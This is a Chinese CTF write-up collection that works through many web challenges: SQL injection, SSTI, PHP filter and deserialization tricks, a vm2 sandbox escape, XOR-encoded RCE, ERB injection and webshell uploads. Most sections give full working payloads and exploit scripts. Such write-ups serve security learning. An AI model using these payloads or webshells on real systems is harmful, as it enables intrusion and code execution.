https://img.f4y3.icu/2024/03/14/image-20221121174713103.png

访问hint.txt

image-20221121174749356

看一下,过滤了几乎所有绕过但没过滤regexp,并提示密码输入为admin的密码就给flag

构造思路:利用反斜杠绕过username第二个单引号使passwd部分被吞为参数,然后利用||运算符构造passwd regexp 查询语句,利用注释绕过空格

在url中输入%00会直接被转义,所以不会过滤,可用%00阶段后面的

payload:

1
username=\&passwd=||/**/passwd/**/regexp/**/"^a";%00

测试一下回显情况,测试到y时候突然页面跳转到welcome.php

可利用为判断条件

利用\x00代替%00

但是sql比较是浅比较不分大小写,上网看一下wp才知道密码由字母数字下划线组成

跑脚本出passwd

image-20221121192934308

输入拿到flag

[RootersCTF2019]I_<3_Flask

考点:参数爆破 python ssti

看了半天没啥提示

因为是模版注入题,所以可能存在参数

用arjun跑一下,出get参数name

image-20221121195259870

flask ssti简单注入,在目录拿到flag

image-20221121201630908

[NPUCTF2020]ezinclude

考点:php://filter/string.strip_tags任意文件写入漏洞

进去之后f12给提示

image-20221122131321721

测试半天参数没思路,抓包看一下,发现给了个hash

image-20221122131244216

当pass参数输进去,出新提示

image-20221122131351919

进去有个文件包含,测试当前目录根目录flag没反应,读一下当前目录文件只有四个(index.php, flflflag.php, config.php, dir.php)(目录扫描)也没啥信息

include过滤了data, input, zip,所以命令执行走不通了,包含远程文件也没反应

image-20221122131908268

dir.php中有查看tmp目录下文件的操作,但不知道怎么利用

image-20221122131820989

读一些敏感文件也没东西

没思路了只能看wp了

这里考点是CVE-2018-14884漏洞的利用

(php7.0)php代码中使用php://filter的strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php的垃圾回收机制就不会在继续执行 , 导致 POST的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录

也就是说执行stip_tags同时上传文件会将上传的文件保留在tmp目录下,这样就可以爆破文件名来getshell(文件名php****)

php?file=php://filter/string.strip_tags/resource=index.php

脚本发包同时写入文件,查看dir.php拿到文件名

image-20221122132809845

再利用flflflflag.php包含文件从而getshell

蚁剑连接成功,看一下根目录,没有flag

image-20221122133621658

看一下phpinfo试试,找到flag

image-20221122133736984

[HarekazeCTF2019]encode_and_encode

考点:php json-decode绕过

给源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

读取json输入page,文件包含,但过滤协议以及flag

json-decode可利用unicode绕过

读文件拿到flag

image-20221122135513811

Payload:

1
{"page": "\u0070\u0068\u0070://filter/read=convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

*[SUCTF 2019]EasyWeb

考点:无字母数字rce,文件上传头过滤,open_basedir目录限制绕过

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
        mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

涉及知识点(每一个点都是新学的

  1. 无字母数字rce。因为这里限制了~以及位数,所以不能用二次取反绕过,利用^构造字母形式构造出想要字符进行绕过,并且由于位数限制,只能构造_GET再传参
  2. 文件上传绕过。没有文件上传点因此要写脚本上传文件,文件头绕过,利用.htacccess二次解析base64编码文件绕过<?过滤,
  3. 绕过open_basedir,可用蚁剑插件,或者绕过:参考

[CISCN2019 华东南赛区]Double Secret

考点:python rc4解密ssti

进去之后提示secret,直接访问secret页面出新提示

image-20221122171652020

通过get传secret,返回不到什么东西

image-20221122171751725

输入五位报错,在错误页面发现部分源码

image-20221122171827766

将输入进行rc4解密,然后解密后的数据可以ssti

找了个rc4加密脚本用用

跑ssti拿到flag

image-20221122172453686

[GYCTF2020]EasyThinking

考点:thinkphp6.0 phpsessid任意写入文件漏洞

进去是个登录注册平台,有搜索功能

尝试页面报错得知用的是thinkphp

image-20221123173915533

在目录下载下来www.zip备份文件

image-20221123173950552

看一下代码

没看出什么问题

看一下thinkphp6有什么漏洞,发现存在任意文件写入漏洞

在初始化session时若PHPSESSID正好等于32位,则不会对其判断

而PHPSESSID可以用户控制

配合session写入本地,可以任意写入文件

因此在注册时自定义PHPSESSID为32位文件名即可

Thinkphp session位置:runtime/session

image-20221123203743672

然后利用search向session写入数据写入一句话

image-20221123203814618

蚁剑上线插件绕过diable_function,拿到flag

[BJDCTF2020]EzPHP

考点:php代码审计,php特性绕过

进去之后f12发现提示

image-20221125111020882

base32解码后拿到新页面,进去看一下,代码审计

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!

php特性绕过

  1. $_SERVER关键词绕过

    $_SERVER不会进行urldecode,所以用16进制url编码绕一下就行

  2. preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute'绕过

    在字符串后加%0a换行符即可

  3. $_REQUEST绕过

    $_REQUEST默认先查找get参数,若post也有此参数则替换,所以在再post传一遍参数并且不赋值即可

  4. sha1绕过

    数组绕过

  5. create_function注入

    create_function('','}require(php://filter/read=convert.base64-encode/resource=flag.php)//');

    等同于

    function (){}require(php://filter/read=convert.base64-encode/resource=flag.php)//;

    会绕过执行代码

    利用反写绕过读到flag.php

    image-20221125121849529

    读rea1fl4g.php拿到flag

    image-20221125122006137

最终payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
GET:
1nD3x.php?%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69n%3b%62%61%73%65%36%34%2c%5a%47%56%69%64%56%39%6b%5a%57%4a%31%58%32%46%78%64%57%45%3d
&%64%65%62%75=%61%71%75%61_%69%73_%63%75%74%65%0a
&%73%68%61n%61[]=1
&%70%61%73%73%77%64[]=2
&%66%6c%61%67%5b%63%6f%64%65%5d=create_function
&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F
));//
POST:
file=&debu=

[HFCTF2020]JustEscape

考点:vm2沙箱逃逸,js绕过关键字过滤(数组或模版字符串拼接

进去之后提示运行代码,看一下run.php出源码

image-20221125140342274

尝试输入报错发现不是php,根据保存信息判断是node

image-20221125140441332

看一下报错信息确认采用vm2

image-20221125140538919

找了一个vm2沙箱逃逸脚本

1
2
3
4
5
6
7
8
(() => {
  TypeError.prototype.get_process = f=>f.constructor("return process")();
  try {
    Object.preventExtensions(Buffer.from("")).a = 1;
  } catch(e){
    return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
  }
})()

发现被过滤,数组绕过成功执行

image-20221125140904639

读根目录flag成功ac

[网鼎杯 2020 半决赛]AliceWebsite

考点:任意文件读取

测试发现存在任意文件读取,尝试读根目录flag ac

image-20221125142754312

[GXYCTF2019]StrongestMind

考点:爬虫

进去之后告诉算对1000次给flag

写个脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import requests_html

if __name__ == '__main__':
    session = requests_html.HTMLSession()
    result = 0
    url = "http://33c930a7-0b81-4abe-88d9-c59a02ee007e.node4.buuoj.cn:81/"

    for i in range(1005):
        while True:
            post = session.post(url, data={'answer': result})
            if post.status_code != 429:
                break
        post.encoding = 'utf-8'
        print(post.text)
        c = post.html.xpath('//center/text()')[-1]
        result = eval(c)

image-20221125151338172

[SUCTF 2018]GetShell

考点:php无字母webshell

文件上传题

进去看到代码

image-20221127170820799

从第五位过滤文件内容,测试发现过滤了数字字母以及一些符号

汉字取反绕过

Payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$__=[];
$_=($__==$__);
$__=~();
$___=$__[$_];
$__=~();
$___.=$__[$_].$__[$_];
$__=~();
$___.=$__[$_];
$__=~();
$___.=$__[$_];
$__=~();
$___.=$__[$_];
$____=~(~(_));
$__=~();
$____.=$__[$_];
$__=~();
$____.=$__[$_];
$__=~();
$____.=$__[$_];
$__=~();
$____.=$__[$_];
$_=$$____;
$___($_[_]);	//assert($_POST[_]);

进入页面,在phpinfo里发现flag

October 2019 Twice SQL Injection

考点:二次注入

测试发现注入点在注册的username处,回显在index页面

没啥绕过直接拿到flag

image-20221127175536545

[b01lers2020]Life on Mars

考点:sql注入

抓包发现疑似注入点

image-20221127184003528

测试search部分发现存在注入,可利用union select 将查询结果拼接结果

查表发现没有可利用的

直接查库发现有其他数据库

image-20221127183457427

在其中查出flag

image-20221127184149543

[GKCTF 2021]easycms

第一次做cms题

admin.php直接进后台

image-20221127202746832

题目提示密码为五位弱口令

admin, 12345直接进后台。。

image-20221127202920192

找一下发现文件写入位置

image-20221127204208965

保存提示

image-20221127204234887

找到文件上传位置,跳目录上传成功

image-20221127205347182

可以修改文件

image-20221127205400916

image-20221127205408245

在根目录读到flag ac

[MRCTF2020]Ezaudit

考点:mt_rand伪随机数,sql注入

进去之后www.zip爆出文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

看一下逻辑:mt_rand伪随机数生成公钥和私钥,公钥给了,正确密码给flag,可以直接union绕过

用php_mt_seed跑一下出种子

image-20221128134418471

跑源码出私钥,并且公钥也符合

image-20221128134444951

union查一下出flag

image-20221128134622896

[极客大挑战 2020]Roamphp1-Welcome

考点:php代码审计

进去之后提示页面错误

image-20221128145554281

测试其他页面发现也没有

抓包post发发现源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
    
    if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
        show_source(__FILE__);
    }
    else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
        phpinfo();  // collect information from phpinfo!
    }
}

数组绕过在phpinfo里拿到flag

image-20221128145703881

真题则是在phpinfo中发现提示

image-20221128150229273

flag在请求此页面的相应头中

[CSAWQual 2019]Web_Unagi

考点:xml实体注入编码绕过

进去之后告诉flag位置

image-20221128151435149

并且有文件上传点,但仅允许上传xml类型文件,通过waf严格过滤格式内容

上网查一下绕过

一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。

在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。

利用

1
cat sample.xml | iconv -f UTF-8 -t UTF-16BE > sample16.xml

将文件payload专程utf-16BE进行上传

显示位数不够,报错外带

image-20221128154823849

[GYCTF2020]Easyphp

考点:php反序列化字节逃逸

进去是个登录页面

目录中下来一个www.zip

image-20221129134134031

看一下逻辑:update中存在入口,lib中存在反序列化

构造payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token="admin";
}

$u = new User();
$i = new Info();
$uh = new UpdateHelper();
$d = new dbCtrl();

$uh->sql = $u;
$u->nickname = $i;
$i->CtrlCase = $d;

echo serialize($uh);

得到序列化字符串:

1
O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}

构造:

1
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}

执行出密码(md5

image-20221129144451196

解密进去拿到flag

ac

[SCTF2019]Flag Shop

考点:ruby EBR模版注入,ruby读取最后一次匹配内容

进来之后让买flag,但💰不够,工作可以加钱但一次就几块,跑脚本不现实,用jwt认证用户,密钥没跑出来

image-20221129150157001

信息收集一下,在robots.txt发现提示

image-20221129150319230

访问拿到源码(ruby,没学过凑活看看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

似乎存在模版注入,查了一下,属于ERB模版注入,但不会利用

看了一下wp,要利用SECRET匹配那里,读取全局最后一次匹配的内容,就能输出密钥

payload:

1
/work?SECRET=&name=<%=$'%>&do=<%=$'%> is working

编码后发包,弹密钥

image-20221129155418512

构造jwt发包解码拿到flag

image-20221129155623050

涉及到ruby的语法知识,这个要补充

[WMCTF2020]Make PHP Great Again

考点:php require_once绕过

进去之后就一段简单的代码

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

解法1:session.upload_progress.cleanup = on竞争上传临时session文件

参考

解法2:绕过机制

php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,当已经require_once('flag.php'),已经include的文件不可以再require_once

所以思路就是改变路径

linux中/proc/self,指向当前进程,/proc/self/root指向/,可以用多几目录绕过。/proc/self/cwd目录下是当前用户目录,解析后仍然是本目录,可以利用目录报错/aa/../../prco/self/cwd/flag.php

[强网杯 2019]Upload

考点:php反序列化

进去是个登录注册页面,先注册进去,页面跳转时显示如下,猜测为thinkphp

image-20221130115345743

进去之后有文件上传口,测试发现将上传文件保存为新的png格式文件

image-20221130115507757

抓包看一下发现cookie为序列化字符串

image-20221130115550238

尝试直接修改,无果

因为存在序列化,尝试目录扫描,发现www.tar.gz

拿到源码,看一下逻辑

cookie存在序列化因此可作为反序列化注入点

几个敏感位置

构造逻辑:

register的__destruct函数为入口,令其checker为Profile

image-20221130210315216

进入Profile中执行__call函数,访问不存在方法index又会进入__get方法,except可控,令其index参数为upload_img,再自定义相关参数绕过函数中对于文件判断,直接copy已经上传的内容为一句话的png文件,重命名为自定义php文件,成功getshell

image-20221130210511851

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
namespace app\web\controller;

class Profile
{
    public $checker = 0;
    public $filename_tmp = '../public/upload/c47b21fcf8f0bc8b3920541abd8024fd/25a452927110e39a345a2511c57647f2.png';
    public $filename = '../public/upload/c47b21fcf8f0bc8b3920541abd8024fd/shell.php';
    public $upload_menu;
    public $ext = 1;
    public $img;
    public $except = array("index" => "upload_img");
}

class Register
{
    public $checker;
    public $registed = 0;
}

$r = new Register();
$p = new Profile();
$p->checker = 0;
$r->checker = $p;

echo base64_encode(serialize($r));

蚁剑连ac

image-20221130210755730

[ISITDTU 2019]EasyPHP

考点:php rce绕过(最近php异或绕过的题有点多

短代码审计题

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

两个判断:

​ 第一个过滤一些字符

​ 第二个控制输入字符种类小于13

取反绕过拿到phpinfo,没有flag信息

image-20221202132329546

发现禁用了很多函数

image-20221202133349745

可以用print_r(scandir())读目录,但要绕过字符种类限制

用两个其他字符异或可以得到我想要的字符,那么也可以用已有字符异或构成其他字符从而减少字符种类总数

写了个脚本跑一下在里面找目标字符

image-20221202202030086

测试发现a = c^p^r, d = s^c^t, n = i^s^t

用异或可执行命令print_r(scandir(.))读当前目录,发现可疑文件

1
((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));

image-20221202134217147

文件直接访问403,用readfile(end(scandir(.)))读目录数组最后一位

1
((%8c%9a%9e%9b%9c%96%93%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff)^(%9b%ff%ff%ff%93%ff%ff%ff)^(%9a%ff%ff%ff%96%ff%ff%ff))(((%9a%9c%9b)^(%ff%ff%ff)^(%ff%93%ff)^(%ff%9e%ff))(((%8c%9c%9e%9c%9b%96%8c)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%93%ff%ff%9b)^(%ff%ff%ff%9e%ff%ff%9a))(%d1^%ff)));

ac

[HarekazeCTF2019]Avatar Uploader 1

进去让输姓名,输一个进去有一个上传口

image-20221229225041011

测试半天没有路子,看wp原题是给源码的,直接看源码。。

上传代码有直接弹flag位置

image-20221229225625273

关键代码

image-20221229225655983

看一下逻辑:通过finfo_file获取文件类型,而此函数通过文件头部信息获取文件类型。下部分通过getimagesize函数获取图片文件信息,判断如果不是png文件,就弹flag

思路就有了:上传一个非png文件,通过hex伪造文件头

png文件头16进制:89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52

随便上传一个文件修改hex ac

image-20221229225919503

[极客大挑战 2020]Greatphp

考点:php代码分析、eval函数会调用类的__toString方法

进去之后给源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

看一下逻辑:

反序列化接受参数,存在比较判断,可用数组绕过,可是需要执行输入内容所以数组不行

这里学到sha1(), md5(), eval()在执行时如果穿进去的是类都会调用类中__toString方法,因此用内置带__toString

但Error类执行__toString后是这样的

image-20221231202211418

因此要构造闭合才可执行。取反绕过过滤

因为过滤括号,所以直接尝试include ‘/flag’,拿到flag

Payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
class SYCLOVER {
    public $syc;
    public $lover;
}

$str = "?><?=include~".urldecode(urlencode(~'/flag'))."?>";
$a = new SYCLOVER();
$a->syc = new Error($str, 1);$a->lover = new Error($str, 2);

$b = serialize($a);
echo urlencode($b);

?>

ac

image-20221231214640915

[FireshellCTF2020]Caas

考点:c语言预处理

